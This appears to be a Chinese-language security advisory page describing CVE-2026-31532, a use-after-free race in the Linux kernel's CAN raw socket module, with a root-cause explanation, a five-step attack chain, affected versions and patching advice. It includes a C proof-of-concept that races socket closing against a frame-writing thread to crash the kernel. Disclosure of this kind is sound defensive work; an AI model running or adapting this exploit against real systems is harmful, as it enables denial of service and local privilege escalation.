IPBUF安全漏洞报告
English
CVE-2026-31532 CVSS 7.8 高危

CVE-2026-31532 Linux内核CAN raw释放后重用漏洞

披露日期: 2026-04-23
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-31532
漏洞类型
释放后重用
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

UAF释放后重用Linux内核CAN本地提权Race Condition

漏洞概述

Linux内核的CAN raw套接字模块中存在一个释放后重用漏洞。问题出在raw_release函数释放ro->uniq后,接收器删除操作被RCU机制延迟,导致raw_rcv函数仍可能在释放后访问该内存区域。攻击者利用此漏洞可能导致系统崩溃或权限提升。该漏洞已通过将释放操作移动到套接字析构函数中修复。

技术细节

该漏洞的根本原因在于Linux内核CAN raw模块的资源释放时机不当。在raw_release函数执行流程中,调用can_rx_unregister注销接收过滤器时,使用了call_rcu进行延迟删除。这意味着接收器的实际清理是在RCU回调中完成的,而非同步进行。然而,raw_release紧接着就调用了free_percpu(ro->uniq)释放了per-cpu存储区域。此时存在一个时间窗口:如果raw_rcv函数正处于RCU读侧临界区执行中,它可能会尝试访问已被释放的ro->uniq指针,从而触发释放后重用。由于can_rx_unregister会持有对socket的额外引用直到RCU回调执行完毕,修复方案是将free_percpu调用移动到sk_destruct析构函数中。这确保了只有在所有相关的RCU回调执行完毕后,才会释放uniq内存,从而消除了竞态条件。

攻击链分析

STEP 1
步骤1
攻击者本地创建一个CAN raw套接字并绑定到CAN接口。
STEP 2
步骤2
攻击者开启线程持续发送或接收CAN数据帧,确保raw_rcv函数频繁处于活跃状态。
STEP 3
步骤3
攻击者在raw_rcv执行期间调用close系统调用,触发raw_release函数释放套接字资源。
STEP 4
步骤4
由于RCU机制延迟,raw_rcv仍在运行但ro->uniq已被free_percpu释放,触发释放后重用。
STEP 5
步骤5
导致内核内存崩溃,或在特定条件下实现内核写入从而提升权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/can.h> #include <linux/can/raw.h> #include <net/if.h> #include <sys/ioctl.h> #include <pthread.h> // Vulnerability Proof of Concept for CVE-2026-31532 // Description: Triggers the race condition between raw_release() and raw_rcv() // to cause a Use-After-Free on ro->uniq. int s; struct sockaddr_can addr; struct ifreq ifr; void *trigger_rcv(void *arg) { struct can_frame frame; int nbytes; // Setup frame to trigger raw_rcv frame.can_id = 0x123; frame.can_dlc = 8; memset(frame.data, 'A', 8); while (1) { nbytes = write(s, &frame, sizeof(struct can_frame)); if (nbytes < 0) break; // Socket likely closed usleep(100); // Adjust timing to hit the window } return NULL; } int main() { pthread_t tid; // Create CAN raw socket if ((s = socket(PF_CAN, SOCK_RAW, CAN_RAW)) < 0) { perror("Error while creating socket"); return 1; } strcpy(ifr.ifr_name, "vcan0" ); ioctl(s, SIOCGIFINDEX, &ifr); addr.can_family = AF_CAN; addr.can_ifindex = ifr.ifr_ifindex; if (bind(s, (struct sockaddr *)&addr, sizeof(addr)) < 0) { perror("Error in bind"); return 1; } // Start thread to flood packets (triggering raw_rcv) pthread_create(&tid, NULL, trigger_rcv, NULL); // Main thread rapidly closes socket (triggering raw_release) // This attempts to free ro->uniq while RCU callbacks are pending sleep(1); close(s); pthread_join(tid, NULL); printf("PoC execution finished. Check kernel logs for Oops/Panic.\n"); return 0; }

影响范围

Linux Kernel < 6.1 (prior to commit 1a0f2de81f7fbdc538fc72d7d74609b79bc83cc0)
Linux Kernel < 6.6 (prior to commit 34c1741254ff972e8375faf176678a248826fe3a)
Linux Kernel < 6.8 (prior to commit 572f0bf536ebc14f6e7da3d21a85cf076de8358e)

防御指南

临时缓解措施
建议立即更新操作系统内核到厂商提供的最新安全版本。如果无法立即重启,应严格限制本地用户权限,防止潜在攻击者利用该漏洞进行提权或造成系统拒绝服务。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表